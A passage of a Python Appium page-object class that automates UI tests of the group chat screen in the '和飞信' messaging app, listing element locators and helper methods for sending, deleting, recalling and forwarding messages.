(MobileBy.ID, 'com.chinasofti.rcs:id/multi_btn_forward'),\n '删除已选信息': (MobileBy.ID, 'com.chinasofti.rcs:id/btn_ok'),\n '取消删除已选信息': (MobileBy.ID, 'com.chinasofti.rcs:id/btn_cancel'),\n \"返回上一级\": (MobileBy.ID, \"com.chinasofti.rcs:id/left_back\"),\n \"文本发送按钮\": (MobileBy.ID, \"com.chinasofti.rcs:id/ib_send\"),\n \"语音小红点\": (MobileBy.ID, \"com.chinasofti.rcs:id/ib_record_red_dot\"),\n \"粘贴\": (MobileBy.ID, \"com.chinasofti.rcs:id/ib_pic\"),\n \"照片选择框\": (MobileBy.ID, \"com.chinasofti.rcs:id/iv_select\"),\n \"更多小红点\": (MobileBy.ID, \"com.chinasofti.rcs:id/id_more_red_dot\"),\n \"预览文件_返回\": (MobileBy.ID, 'com.chinasofti.rcs:id/back'),\n '预览文件_更多': (MobileBy.ID, 'com.chinasofti.rcs:id/menu'),\n '定位_地图': ('id', 'com.chinasofti.rcs:id/location_info_view'),\n '始终允许': (MobileBy.XPATH, \"//*[contains(@text, '始终允许')]\"),\n '小键盘麦克标志': (MobileBy.IOS_PREDICATE, 'name == \"dictation\"'),\n '文本消息': (MobileBy.XPATH,\n \"//XCUIElementTypeCell/XCUIElementTypeOther/XCUIElementTypeImage/XCUIElementTypeOther\"),\n '最后一条文本消息': (MobileBy.XPATH,\n \"//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeOther/XCUIElementTypeImage/XCUIElementTypeOther\"),\n '最后一条文本消息_c': (MobileBy.XPATH, \"//XCUIElementTypeTable[1]/XCUIElementTypeCell[last()]\"),\n '消息记录': (MobileBy.XPATH, '//XCUIElementTypeTable/XCUIElementTypeCell'),\n '最后一条表情消息的表情': (MobileBy.XPATH,\n '(//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeOther/XCUIElementTypeImage/XCUIElementTypeOther/XCUIElementTypeImage[@name])[last()]'),\n '最后一条消息记录发送失败标识': (MobileBy.XPATH,\n '//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeButton[contains(@name,\"cc chat again send normal\")]'),\n '最后一条消息记录已读动态': (MobileBy.XPATH, '//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeButton[not(@name)]'),\n '多选关闭按钮': (MobileBy.IOS_PREDICATE, 'name==\"cc chat checkbox close\"'),\n '多选删除按钮': (MobileBy.IOS_PREDICATE, 'name==\"cc chat checkbox delete normal\"'),\n '多选转发按钮': (MobileBy.IOS_PREDICATE, 'name==\"cc chat checkbox forward norma\"'),\n '已选择': (MobileBy.IOS_PREDICATE, 'name==\"已选择\"'),\n '未选择': (MobileBy.IOS_PREDICATE, 'name==\"未选择\"'),\n '已选择数量': (MobileBy.XPATH, '//*[@name=\"已选择\"]/following-sibling::XCUIElementTypeStaticText[1]'),\n '多选最后一条消息勾选框': (\n MobileBy.XPATH, '//XCUIElementTypeTable/XCUIElementTypeCell[last()]/XCUIElementTypeButton[2]'),\n '群短信': (MobileBy.ACCESSIBILITY_ID, 'cc_chat_input_ic_groupmassage'),\n '群人数文本': (MobileBy.XPATH,\n '//*[@name=\"back\"]/../following-sibling::XCUIElementTypeOther[1]/XCUIElementTypeOther/XCUIElementTypeStaticText[2]'),\n '我的电脑-聊天记录': (MobileBy.XPATH,\n '//XCUIElementTypeApplication[@name=\"和飞信\"]/XCUIElementTypeWindow[1]/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeTable/XCUIElementTypeCell/XCUIElementTypeOther/XCUIElementTypeImage[1]/XCUIElementTypeOther'),\n }\n\n @TestLogger.log()\n def make_sure_chatwindow_have_message(self, content='文本消息', times=1):\n \"\"\"确保当前页面有文本消息记录\"\"\"\n if self.is_element_present_message():\n time.sleep(3)\n else:\n while times > 0:\n times = times - 1\n self.click_input_box()\n self.input_message_text(content)\n self.click_send_button()\n self.click_input_box()\n self.input_message_text(content)\n self.click_send_button()\n time.sleep(2)\n\n @TestLogger.log()\n def click_start_call_button(self):\n \"\"\"点击开始呼叫按钮 \"\"\"\n self.click_element((MobileBy.IOS_PREDICATE, 'name CONTAINS \"呼叫\"'))\n\n\n @TestLogger.log('点击输入框')\n def click_input_box(self):\n self.click_element(self.__locators['说点什么'])\n\n @TestLogger.log('输入消息文本')\n def input_message_text(self, content):\n \"\"\"输入消息文本(清空之前文本框的文本)\"\"\"\n self.input_text(self.__locators['说点什么'], content)\n\n @TestLogger.log('输入消息文本')\n def input_message_text2(self, content):\n \"\"\"输入消息文本--不清空之前文本框的文本\"\"\"\n self.input_text2(self.__locators['说点什么'], content)\n\n\n @TestLogger.log()\n def long_press_input_box(self):\n \"\"\"长按输入框(备注:群聊使用该方法需要发送两条文本消息)\"\"\"\n self.swipe_by_direction(self.__class__.__locators['说点什么'], 'press',duration=2)\n time.sleep(2)\n\n\n\n @TestLogger.log('点击发送按钮')\n def click_send_button(self):\n self.click_element(self.__locators['发送按钮'])\n\n @TestLogger.log()\n def select_members_by_name(self, name='大佬1'):\n \"\"\"通过名字选择成员\"\"\"\n locator = (MobileBy.ACCESSIBILITY_ID, '%s' % name)\n self.click_element(locator)\n\n @TestLogger.log()\n def get_input_message(self):\n \"\"\"获取输入框的信息\"\"\"\n el = self.get_element(self.__class__.__locators[\"说点什么\"])\n return el.text\n\n @TestLogger.log('发送多条文本消息')\n def send_mutiple_message(self, text='文本消息', times=15):\n while times > 0:\n times = times - 1\n self.click_input_box()\n self.input_message_text(text)\n self.click_send_button()\n time.sleep(2)\n\n\n @TestLogger.log()\n def click_send_slide_up(self, duration=5):\n \"\"\"点击发送按钮并向上滑动\"\"\"\n el = self.get_element(self.__class__.__locators[\"发送按钮\"])\n rect = el.rect\n left, right = int(rect['x']) + 1, int(rect['x'] + rect['width']) - 1\n top, bottom = int(rect['y']) + 1, int(rect['y'] + rect['height']) - 1\n x_start = (left + right) // 2\n x_end = (left + right) // 2\n y_start = bottom\n y_end = top - 200\n self.driver.execute_script(\"mobile:dragFromToForDuration\",\n {\"duration\": duration, \"element\": None, \"fromX\": x_start,\n \"fromY\": y_start,\n \"toX\": x_end, \"toY\": y_end})\n\n @TestLogger.log()\n def click_send_slide_down(self, duration=5):\n \"\"\"点击发送按钮并向下滑动\"\"\"\n el = self.get_element(self.__class__.__locators[\"发送按钮\"])\n rect = el.rect\n left, right = int(rect['x']) + 1, int(rect['x'] + rect['width']) - 1\n top, bottom = int(rect['y']) + 1, int(rect['y'] + rect['height']) - 1\n x_start = (left + right) // 2\n x_end = (left + right) // 2\n y_start = top\n y_end = bottom + 200\n self.driver.execute_script(\"mobile:dragFromToForDuration\",\n {\"duration\": duration, \"element\": None, \"fromX\": x_start,\n \"fromY\": y_start,\n \"toX\": x_end, \"toY\": y_end})\n\n @TestLogger.log()\n def get_width_of_last_msg(self):\n \"\"\"获取最后一条文本信息框的大小\"\"\"\n el = self.get_element(self.__class__.__locators[\"最后一条文本消息\"])\n rect = el.rect\n return rect[\"width\"]\n\n @TestLogger.log()\n def get_height_of_last_msg(self):\n \"\"\"获取最后一条文本信息框的大小\"\"\"\n el = self.get_element(self.__class__.__locators[\"最后一条文本消息\"])\n rect = el.rect\n return rect[\"height\"]\n\n @TestLogger.log()\n def click_exit_voice(self):\n \"\"\"点击退出语音录制\"\"\"\n self.click_element(self.__class__.__locators[\"退出按钮\"])\n\n @TestLogger.log()\n def is_exist_video_play_button(self):\n \"\"\"是否存在视频播放按钮\"\"\"\n return self._is_element_present(self.__class__.__locators[\"视频播放按钮\"])\n\n def is_exist_msg_dictation(self):\n \"\"\"当前页面是否有小键盘麦克\"\"\"\n el = self.get_elements(self.__locators['小键盘麦克标志'])\n return len(el) > 0\n\n @TestLogger.log('判断消息记录是否存在消息记录')\n def is_element_present_message(self):\n return self._is_element_present(self.__class__.__locators['聊天列表'])\n\n @TestLogger.log()\n def click_message_approval(self):\n \"\"\"点击审批内容\"\"\"\n self.click_element((MobileBy.IOS_PREDICATE, 'name CONTAINS \"审批\"'))\n\n @TestLogger.log()\n def press_and_move_right_approval(self):\n \"\"\"长按审批消息\"\"\"\n time.sleep(2)\n element = (MobileBy.IOS_PREDICATE, 'name CONTAINS \"审批\"')\n self.swipe_by_direction(element, 'right')\n time.sleep(2)\n\n @TestLogger.log()\n def press_and_move_right_daily_log(self):\n \"\"\"长按日志消息\"\"\"\n time.sleep(2)\n element = (MobileBy.IOS_PREDICATE, 'name CONTAINS \"日报\"')\n self.swipe_by_direction(element, 'right', duration=2)\n time.sleep(2)\n\n @TestLogger.log()\n def press_and_move_right_text_message(self):\n \"\"\"长按文本消息(备注:群聊使用该方法需要发送两条文本消息)\"\"\"\n time.sleep(2)\n locator = (MobileBy.XPATH, \"//XCUIElementTypeCell[last()]/XCUIElementTypeOther/XCUIElementTypeImage/XCUIElementTypeOther\")\n self.swipe_by_direction(locator, 'left')\n time.sleep(2)\n\n\n def is_exist_msg_videos(self):\n \"\"\"当前页面是否有发视频消息\"\"\"\n el = self.get_elements(self.__locators['消息视频'])\n return len(el) > 0\n\n def is_exist_msg_image(self):\n \"\"\"当前页面是否有发图片消息\"\"\"\n el = self.get_elements(self.__locators['消息图片'])\n return len(el) > 0\n\n @TestLogger.log()\n def click_msg_image(self, number):\n \"\"\"点击图片消息\"\"\"\n els = self.get_elements(self.__class__.__locators[\"消息图片\"])\n els[number].click()\n\n @TestLogger.log()\n def is_exists_group_by_name(self, name):\n \"\"\"是否存在指定群聊名\"\"\"\n locator = (MobileBy.XPATH, '//*[@resource-id=\"com.chinasofti.rcs:id/title\" and contains(@text, \"%s\")]' % name)\n return self._is_element_present(locator)\n\n @TestLogger.log()\n def is_exist_collection(self):\n \"\"\"是否存在消息已收藏\"\"\"\n return self.is_toast_exist(\"已收藏\")\n\n @TestLogger.log()\n def is_exist_forward(self):\n \"\"\"是否存在消息已转发\"\"\"\n return self.is_toast_exist(\"已转发\")\n\n @TestLogger.log()\n def click_take_picture(self):\n \"\"\"点击选择富媒体拍照\"\"\"\n self.click_element(self.__class__.__locators[\"富媒体拍照\"])\n\n @TestLogger.log()\n def is_send_sucess(self):\n \"\"\"当前页面是否有发送失败标识\"\"\"\n el = self.get_elements(self.__locators['发送失败标识'])\n if len(el) > 0:\n return False\n return True\n\n @TestLogger.log()\n def click_picture(self):\n \"\"\"点击选择照片\"\"\"\n self.click_element(self.__class__.__locators[\"选择照片\"])\n\n @TestLogger.log()\n def click_setting(self):\n \"\"\"点击设置\"\"\"\n self.click_element(self.__class__.__locators[\"设置\"])\n\n @TestLogger.log()\n def wait_for_page_load(self, timeout=8, auto_accept_alerts=True):\n \"\"\"等待群聊页面加载\"\"\"\n try:\n self.wait_until(\n timeout=timeout,\n auto_accept_permission_alert=auto_accept_alerts,\n condition=lambda d: self._is_element_present(self.__class__.__locators[\"多方通话\"])\n )\n except:\n message = \"页面在{}s内,没有加载成功\".format(str(timeout))\n raise AssertionError(\n message\n )\n return self\n\n @TestLogger.log()\n def wait_for_group_control_page_load(self, timeout=8, auto_accept_alerts=True):\n \"\"\"等待群管理页面加载\"\"\"\n try:\n self.wait_until(\n timeout=timeout,\n auto_accept_permission_alert=auto_accept_alerts,\n condition=lambda d: self._is_element_present(self.__class__.__locators[\"解散群\"])\n )\n except:\n message = \"页面在{}s内,没有加载成功\".format(str(timeout))\n raise AssertionError(\n message\n )\n return self\n\n @TestLogger.log()\n def is_on_this_page(self):\n \"\"\"当前页面是否在群聊天页\"\"\"\n el = self.get_elements(self.__locators['多方通话'])\n if len(el) > 0:\n return True\n return False\n\n @TestLogger.log()\n def click_profile(self):\n \"\"\"点击选择名片\"\"\"\n self.click_element(self.__class__.__locators[\"选择名片\"])\n\n @TestLogger.log()\n def click_back(self):\n \"\"\"点击返回按钮\"\"\"\n self.click_element(self.__class__.__locators[\"返回\"])\n\n @TestLogger.log()\n def is_exist_undisturb(self):\n \"\"\"是否存在消息免打扰标志\"\"\"\n return self._is_element_present(self.__class__.__locators[\"消息免打扰\"])\n\n\n @TestLogger.log()\n def press_file_to_do(self, file, text):\n \"\"\"长按指定文件进行操作\"\"\"\n el = self.get_element((MobileBy.XPATH, \"//*[contains(@text, '%s')]\" % file))\n self.press(el)\n self.click_element(self.__class__.__locators[text])\n\n @TestLogger.log()\n def press_file(self, file):\n \"\"\"长按指定文件\"\"\"\n el = self.get_element((MobileBy.XPATH, \"//*[contains(@text, '%s')]\" % file))\n self.press(el)\n\n @TestLogger.log()\n def is_address_text_present(self):\n \"\"\"判断位置信息是否在群聊页面发送\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/lloc_famous_address_text'))\n if el:\n return True\n else:\n return False\n\n @TestLogger.log()\n def press_message_to_do(self, text):\n \"\"\"长按指定信息进行操作\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/lloc_famous_address_text'))\n self.press(el)\n self.click_element(self.__class__.__locators[text])\n\n @TestLogger.log()\n def wait_for_message_down_file(self, timeout=20, auto_accept_alerts=True):\n \"\"\"等待消息发送成功\"\"\"\n try:\n self.wait_until(\n timeout=timeout,\n auto_accept_permission_alert=auto_accept_alerts,\n condition=lambda d: self._is_element_present(self.__class__.__locators[\"勾\"])\n )\n except:\n message = \"消息在{}s内,没有发送成功\".format(str(timeout))\n raise AssertionError(\n message\n )\n return self\n\n @TestLogger.log()\n def is_exist_network(self):\n \"\"\"是否存网络不可用\"\"\"\n return self.is_toast_exist(\"网络不可用,请检查网络设置\")\n\n @TestLogger.log()\n def click_send_again(self):\n \"\"\"点击重新发送gif\"\"\"\n self.click_element(self.__class__.__locators[\"发送失败标识\"])\n self.click_element(self.__class__.__locators[\"重发消息确定\"])\n\n @TestLogger.log()\n def is_exist_msg_send_failed_button(self):\n \"\"\"判断是否有重发按钮\"\"\"\n el = self.get_elements(self.__locators['重发按钮'])\n return len(el) > 0\n\n @TestLogger.log()\n def click_msg_send_failed_button(self):\n \"\"\"点击重发按钮\"\"\"\n self.click_element(self.__class__.__locators[\"重发按钮\"])\n\n @TestLogger.log()\n def click_resend_confirm(self):\n \"\"\"点击重发消息确定\"\"\"\n self.click_element(self.__class__.__locators[\"重发消息确定\"])\n\n @TestLogger.log()\n def click_clean_video(self):\n \"\"\"点击删除消息视频\"\"\"\n try:\n el = self.get_element(self.__class__.__locators[\"消息视频\"])\n self.press(el)\n self.click_element(self.__class__.__locators[\"删除\"])\n except:\n pass\n return self\n\n @TestLogger.log()\n def press_voice_message_to_do(self,text):\n \"\"\"长按语言消息体\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/linearlayout_msg_content'))\n self.press(el)\n self.click_element(self.__class__.__locators[text])\n\n @TestLogger.log()\n def get_width_of_msg_of_text(self):\n \"\"\"获取文本信息框的大小\"\"\"\n el=self.get_element((MobileBy.ID,'com.chinasofti.rcs:id/tv_message'))\n rect=el.rect\n return rect[\"width\"]\n\n @TestLogger.log()\n def is_call_page_load(self):\n \"\"\"判断是否可以发起呼叫\"\"\"\n el = self.get_element((MobileBy.ID, 'com.android.incallui:id/endButton'))\n if el:\n return True\n else:\n return False\n\n @TestLogger.log()\n def click_end_call_button(self):\n \"\"\"点击结束呼叫按钮 \"\"\"\n self.click_element((MobileBy.ID, 'com.android.incallui:id/endButton'))\n\n @TestLogger.log()\n def click_location_back(self):\n \"\"\"点击位置页面返回 \"\"\"\n self.click_element(self.__class__.__locators['位置返回'])\n\n @TestLogger.log()\n def get_picture_nums(self):\n \"\"\"获取当前页面图片元素数量\"\"\"\n els = self.get_elements(self.__class__.__locators['图片元素数量'])\n return len(els)\n\n @TestLogger.log()\n def click_add_member_button(self):\n \"\"\"点击添加成员按钮\"\"\"\n self.click_element(self.__class__.__locators[\"添加群成员按钮\"])\n\n @TestLogger.log()\n def click_delete_member_button(self):\n \"\"\"删除成员按钮\"\"\"\n self.click_element(self.__class__.__locators[\"删除群成员按钮\"])\n\n @TestLogger.log()\n def click_delete_member_sure_button(self):\n \"\"\"删除成员确定按钮\"\"\"\n self.click_element(self.__class__.__locators[\"删除群成员确定按钮\"])\n\n @TestLogger.log()\n def wait_for_page_setting_load(self, timeout=8, auto_accept_alerts=True):\n \"\"\"等待群聊设置页面加载\"\"\"\n try:\n self.wait_until(\n timeout=timeout,\n auto_accept_permission_alert=auto_accept_alerts,\n condition=lambda d: self._is_element_present(self.__class__.__locators[\"添加群成员按钮\"])\n )\n except:\n message = \"页面在{}s内,没有加载成功\".format(str(timeout))\n raise AssertionError(\n message\n )\n return self\n\n @TestLogger.log()\n def click_phone_contact(self):\n \"\"\"点击选择手机联系人\"\"\"\n self.click_element(self.__class__.__locators[\"选择手机联系人\"])\n\n @TestLogger.log()\n def no_disturbing_btn_is_enabled(self):\n \"\"\"获取群消息免打扰按钮状态是否可点击\"\"\"\n return self._is_enabled(self.__class__.__locators[\"群消息免打扰按钮\"])\n\n @TestLogger.log()\n def get_no_disturbing_btn_text(self):\n \"\"\"获取群消息免打扰按钮状态\"\"\"\n if self._is_element_present2(self.__class__.__locators[\"群消息免打扰按钮\"]):\n el = self.get_element(self.__class__.__locators[\"群消息免打扰按钮\"])\n return el.text\n\n @TestLogger.log()\n def click_no_disturbing_button(self):\n \"\"\"点击群消息免打扰开关\"\"\"\n self.click_element(self.__class__.__locators[\"群消息免打扰按钮\"])\n\n @TestLogger.log()\n def click_group_name(self):\n \"\"\"点击修改群名称按钮\"\"\"\n self.click_element(self.__class__.__locators[\"群名称\"])\n\n @TestLogger.log()\n def input_group_name_message(self, message):\n \"\"\"输入要修改的群名称\"\"\"\n self.input_text(self.__class__.__locators[\"修改群名称输入框\"], message)\n return self\n\n @TestLogger.log()\n def click_group_name_complete(self):\n \"\"\"点击修改群名称完成按钮\"\"\"\n self.click_element(self.__class__.__locators[\"修改群名称完成按钮\"])\n\n @TestLogger.log()\n def click_group_control(self):\n \"\"\"点击群管理按钮\"\"\"\n self.click_element(self.__class__.__locators[\"群管理\"])\n\n @TestLogger.log()\n def click_group_dissolve(self):\n \"\"\"点击解散群按钮\"\"\"\n self.click_element(self.__class__.__locators[\"解散群\"])\n\n @TestLogger.log()\n def click_group_dissolve_confirm(self):\n \"\"\"点击确认群解散按钮\"\"\"\n self.click_element(self.__class__.__locators[\"解散按钮\"])\n\n @TestLogger.log()\n def click_add_member_confirm_button(self):\n \"\"\"点击添加群成员确定按钮\"\"\"\n self.click_element(self.__class__.__locators[\"添加群成员确定按钮\"])\n\n @TestLogger.log()\n def click_voice_button(self):\n \"\"\"点击语音按钮\"\"\"\n self.click_element(self.__class__.__locators[\"语音按钮\"])\n\n @TestLogger.log()\n def is_exist_voice_button(self):\n \"\"\"是否存在语音按钮\"\"\"\n return self._is_element_present2(self.__class__.__locators[\"语音按钮\"])\n\n @TestLogger.log()\n def click_send_button(self):\n \"\"\"点击发送按钮\"\"\"\n self.click_element(self.__class__.__locators[\"发送按钮\"])\n\n @TestLogger.log()\n def _is_enabled_send_button(self):\n \"\"\"发送按钮是否可点击\"\"\"\n return self._is_enabled(self.__class__.__locators[\"发送按钮\"])\n\n @TestLogger.log()\n def is_exist_send_button(self):\n \"\"\"是否存在发送按钮\"\"\"\n return self._is_element_present2(self.__class__.__locators[\"发送按钮\"])\n\n @TestLogger.log()\n def click_add_button(self):\n \"\"\"点击更多加号按钮\"\"\"\n self.click_element(self.__class__.__locators[\"更多加号按钮\"])\n\n @TestLogger.log()\n def click_file_button(self):\n \"\"\"点击文件按钮\"\"\"\n self.click_element(self.__class__.__locators[\"文件按钮\"])\n\n @TestLogger.log()\n def is_exist_file_button(self):\n \"\"\"是否存在文件按钮\"\"\"\n return self._is_element_present(self.__class__.__locators[\"文件按钮\"])\n\n @TestLogger.log()\n def click_expression_button(self):\n \"\"\"点击表情按钮\"\"\"\n self.click_element(self.__class__.__locators[\"表情按钮\"])\n\n @TestLogger.log()\n def click_expression_wx(self):\n \"\"\"点击微笑表情\"\"\"\n self.click_element(self.__class__.__locators[\"微笑表情\"])\n\n @TestLogger.log()\n def click_expression_qx(self):\n \"\"\"点击窃喜表情\"\"\"\n self.click_element(self.__class__.__locators[\"窃喜表情\"])\n\n @TestLogger.log()\n def click_expression_lbt(self):\n \"\"\"点击流鼻涕表情\"\"\"\n self.click_element(self.__class__.__locators[\"流鼻涕表情\"])\n\n @TestLogger.log()\n def click_gif_button(self):\n \"\"\"点击GIF按钮\"\"\"\n self.click_element(self.__class__.__locators[\"GIF按钮\"])\n\n @TestLogger.log()\n def is_exists_gif_button(self):\n \"\"\"是否存在GIF按钮\"\"\"\n return self._is_element_present2(self.__class__.__locators[\"GIF按钮\"])\n\n @TestLogger.log()\n def click_send_gif(self):\n \"\"\"点击发送GIF图片\"\"\"\n self.click_element(self.__class__.__locators[\"gif图片\"])\n\n @TestLogger.log()\n def is_exist_close_gif(self):\n \"\"\"是否存在关闭GIF按钮\"\"\"\n return self._is_element_present(self.__class__.__locators[\"关闭GIF按钮\"])\n\n @TestLogger.log()\n def click_close_gif(self):\n \"\"\"点击关闭GIF按钮\"\"\"\n self.click_element(self.__class__.__locators[\"关闭GIF按钮\"])\n\n @TestLogger.log()\n def is_exist_expression_page(self):\n \"\"\"是否存在表情页\"\"\"\n return self._is_element_present(self.__class__.__locators[\"表情页\"])\n\n @TestLogger.log()\n def click_expression_page_close_button(self):\n \"\"\"点击表情页关闭\"\"\"\n self.click_element(self.__class__.__locators[\"关闭表情页\"])\n\n @TestLogger.log()\n def get_expressions(self):\n \"\"\"获取表情包\"\"\"\n els = self.get_elements(self.__locators['表情'])\n return els\n\n @TestLogger.log()\n def get_input_box(self):\n \"\"\"获取输入框\"\"\"\n el = self.get_element(self.__locators['输入框'])\n return el\n\n @TestLogger.log()\n def is_enabled_of_send_button(self):\n \"\"\"发送按钮状态\"\"\"\n flag = self._is_enabled((MobileBy.ID, 'com.chinasofti.rcs:id/ib_send'))\n return flag\n\n @TestLogger.log()\n def is_exist_multiple_selection_back(self):\n \"\"\"是否存在多选【×】关闭按钮\"\"\"\n return self._is_element_present(self.__class__.__locators[\"多选返回\"])\n\n @TestLogger.log()\n def is_exist_multiple_selection_count(self):\n \"\"\"是否存在多选计数\"\"\"\n return self._is_element_present(self.__class__.__locators[\"多选计数\"])\n\n @TestLogger.log()\n def get_multiple_selection_select_box(self):\n \"\"\"获取多选选择框\"\"\"\n els=self.get_elements(self.__class__.__locators[\"多选选择框\"])\n if els:\n return els\n else:\n raise AssertionError(\"没有找到多选选择框\")\n\n @TestLogger.log()\n def is_enabled_multiple_selection_delete(self):\n \"\"\"判断多选删除是否高亮展示\"\"\"\n return self._is_enabled(self.__class__.__locators[\"多选删除\"])\n\n @TestLogger.log()\n def is_enabled_multiple_selection_forward(self):\n \"\"\"判断多选转发是否高亮展示\"\"\"\n return self._is_enabled(self.__class__.__locators[\"多选转发\"])\n\n @TestLogger.log()\n def click_multiple_selection_back(self):\n \"\"\"点击多选返回\"\"\"\n self.click_element(self.__class__.__locators[\"多选返回\"])\n\n @TestLogger.log()\n def is_exist_multiple_selection_select_box(self):\n \"\"\"是否存在多选选择框\"\"\"\n return self._is_element_present(self.__class__.__locators[\"多选选择框\"])\n\n @TestLogger.log()\n def click_multiple_selection_delete(self):\n \"\"\"点击多选删除\"\"\"\n self.click_element(self.__class__.__locators[\"多选删除\"])\n\n @TestLogger.log()\n def click_multiple_selection_delete_cancel(self):\n \"\"\"点击取消删除已选信息\"\"\"\n self.click_element(self.__class__.__locators[\"取消删除已选信息\"])\n\n @TestLogger.log()\n def click_multiple_selection_delete_sure(self):\n \"\"\"点击确定删除已选信息\"\"\"\n self.click_element(self.__class__.__locators[\"删除已选信息\"])\n\n @TestLogger.log()\n def click_multiple_selection_forward(self):\n \"\"\"点击多选转发\"\"\"\n self.click_element(self.__class__.__locators[\"多选转发\"])\n\n @TestLogger.log()\n def press_audio_to_do(self,text):\n \"\"\"长按语音消息体进行操作\"\"\"\n els = self.get_elements(self.__class__.__locators[\"语音消息体\"])\n if els:\n self.press(els[0])\n self.click_element(self.__class__.__locators[text])\n else:\n raise AssertionError(\"没有找到语音消息体\")\n\n @TestLogger.log()\n def get_group_name(self):\n \"\"\"在群聊页面获取群聊名称\"\"\"\n return self.get_element(self.__class__.__locators['群聊001(2)']).text\n\n @TestLogger.log()\n def get_multiple_selection_count(self):\n \"\"\"获取多选计数框\"\"\"\n el = self.get_element(self.__class__.__locators[\"多选计数\"])\n if el:\n return el\n else:\n raise AssertionError(\"没有找到多选选择框\")\n\n @TestLogger.log()\n def press_voice_message(self):\n \"\"\"长按语言消息体\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/linearlayout_msg_content'))\n self.press(el)\n\n @TestLogger.log()\n def click_return(self):\n \"\"\"返回上一级\"\"\"\n self.click_element(self.__class__.__locators[\"返回上一级\"])\n\n @TestLogger.log()\n def get_height_of_msg_of_text(self):\n \"\"\"获取文本信息框的大小\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/tv_message'))\n rect = el.rect\n return rect[\"height\"]\n\n @TestLogger.log()\n def get_msg_of_text(self):\n \"\"\"获取文本信息框的信息\"\"\"\n el = self.get_element((MobileBy.ID, 'com.chinasofti.rcs:id/tv_message'))\n text = el.text\n return text\n\n @TestLogger.log()\n def input_text_message(self, message):\n \"\"\"输入文本信息\"\"\"\n self.input_text(self.__class__.__locators[\"输入框\"], message)\n return self\n\n @TestLogger.log()\n def send_text(self):\n \"\"\"发送文本\"\"\"\n self.click_element(self.__class__.__locators[\"文本发送按钮\"])\n time.sleep(1)\n\n @TestLogger.log()\n def is_exist_red_dot(self):\n \"\"\"是否存在语音小红点\"\"\"\n return self._is_element_present(self.__class__.__locators[\"语音小红点\"])\n\n @TestLogger.log()\n def click_long_copy_message(self):\n \"\"\"输入文本信息\"\"\"\n self.click_element(self.__locators[\"输入框\"])\n el = self.get_element(self.__locators[\"输入框\"])\n self.press(el)\n time.sleep(1.8)\n self.click_element(self.__locators[\"粘贴\"])\n\n @TestLogger.log()\n def click_long_message(self):\n \"\"\"输入文本信息\"\"\"\n el = self.get_elements(self.__locators[\"呵呵\"])\n el = el[-1]\n el.click()\n\n @TestLogger.log()\n def click_mutilcall(self):\n \"\"\"点击多方通话\"\"\"\n self.click_element(self.__class__.__locators[\"多方通话\"])\n\n @TestLogger.log()\n def select_picture(self):\n \"\"\"选择照片\"\"\"\n self.click_element(self.__class__.__locators[\"照片选择框\"])\n\n\n @TestLogger.log(\"文件是否发送成功\")\n def check_message_resend_success(self):\n return self._is_element_present(self.__class__.__locators['文件发送成功标志'])\n\n\n @TestLogger.log(\"当前页面是否有发文件消息\")\n def is_exist_msg_file(self):\n el = self.get_elements(('id', 'com.chinasofti.rcs:id/ll_msg'))\n return len(el) > 0\n\n @TestLogger.log(\"删除当前群聊发送的文件\")\n def delete_group_all_file(self):\n msg_file = self.get_elements(('id', 'com.chinasofti.rcs:id/ll_msg'))\n if msg_file:\n for file in msg_file:\n self.press(file)\n self.click_element(self.__class__.__locators['删除'])\n else:\n print('当前窗口没有可以删除的消息')\n\n @TestLogger.log(\"撤回文件\")\n def recall_file(self, file):\n el = self.wait_until(condition=lambda x:self.get_element((MobileBy.XPATH, \"//*[contains(@text, '%s')]\" % file)))\n self.press(el)\n self.click_element(self.__class__.__locators['撤回'])\n\n @TestLogger.log(\"点击发送的最后的文件\")\n def click_last_file_send_fail(self):\n ele_list = self.get_elements(('id', 'com.chinasofti.rcs:id/ll_msg'))\n ele_list[-1].click()\n\n @TestLogger.log(\"点击预览文件返回\")\n def click_file_back(self):\n self.click_element(self.__locators['预览文件_返回'])\n\n @TestLogger.log(\"预览文件里的更多按钮是否存在\")\n def is_exist_more_button(self):\n return self.wait_until(condition=lambda x:self._is_element_present(self.__locators['预览文件_更多']))\n\n @TestLogger.log(\"点击预览文件里的更多按钮\")\n def click_more_button(self):\n self.click_element(self.__locators['预览文件_更多'])\n\n @TestLogger.log(\"检查预览文件选项是否可用\")\n def check_options_is_enable(self):\n text_list = ['转发', '收藏', '其他应用打开']\n for text in text_list:\n if not self._is_enabled(('xpath', '//*[contains(@text, \"{}\")]'.format(text))):\n return False\n return True\n\n @TestLogger.log(\"当前页面是否有发地图消息\")\n def is_exist_loc_msg(self):\n el = self.get_elements(self.__locators['定位_地图'])\n return len(el) > 0\n\n @TestLogger.log(\"撤回文件\")\n def recall_file(self, file):\n el = self.wait_until(condition=lambda x:self.get_element((MobileBy.XPATH, \"//*[contains(@text, '%s')]\" % file)))\n self.press(el)\n self.click_element(self.__class__.__locators['撤回'])\n\n @TestLogger.log(\"撤回位置消息\")\n def recall_loc_msg(self):\n el = self.wait_until(\n condition=lambda x: self.get_elements(self.__locators['定位_地图']))\n self.press(el[-1])\n self.click_element(self.__class__.__locators['撤回'])\n\n @TestLogger.log()\n def is_element_exit_(self, text):\n \"\"\"指定元素是否存在\"\"\"\n return self._is_element_present(self.__class__.__locators[text])\n\n @TestLogger.log()\n def click_element_(self, text):\n \"\"\"点击元素\"\"\"\n self.click_element(self.__class__.__locators[text])\n\n @TestLogger.log()\n def click_text_message_by_number(self, index=0):\n \"\"\"点击某一条文本消息\"\"\"\n els = self.get_elements(self.__class__.__locators[\"文本消息\"])\n els[index].click()\n\n @TestLogger.log()\n def click_last_text_message(self):\n \"\"\"点击最后一条文本消息\"\"\"\n self.click_element(self.__class__.__locators[\"最后一条文本消息\"])\n\n @TestLogger.log()\n def press_last_text_message(self):\n \"\"\"长按最后一条文本消息\"\"\"\n 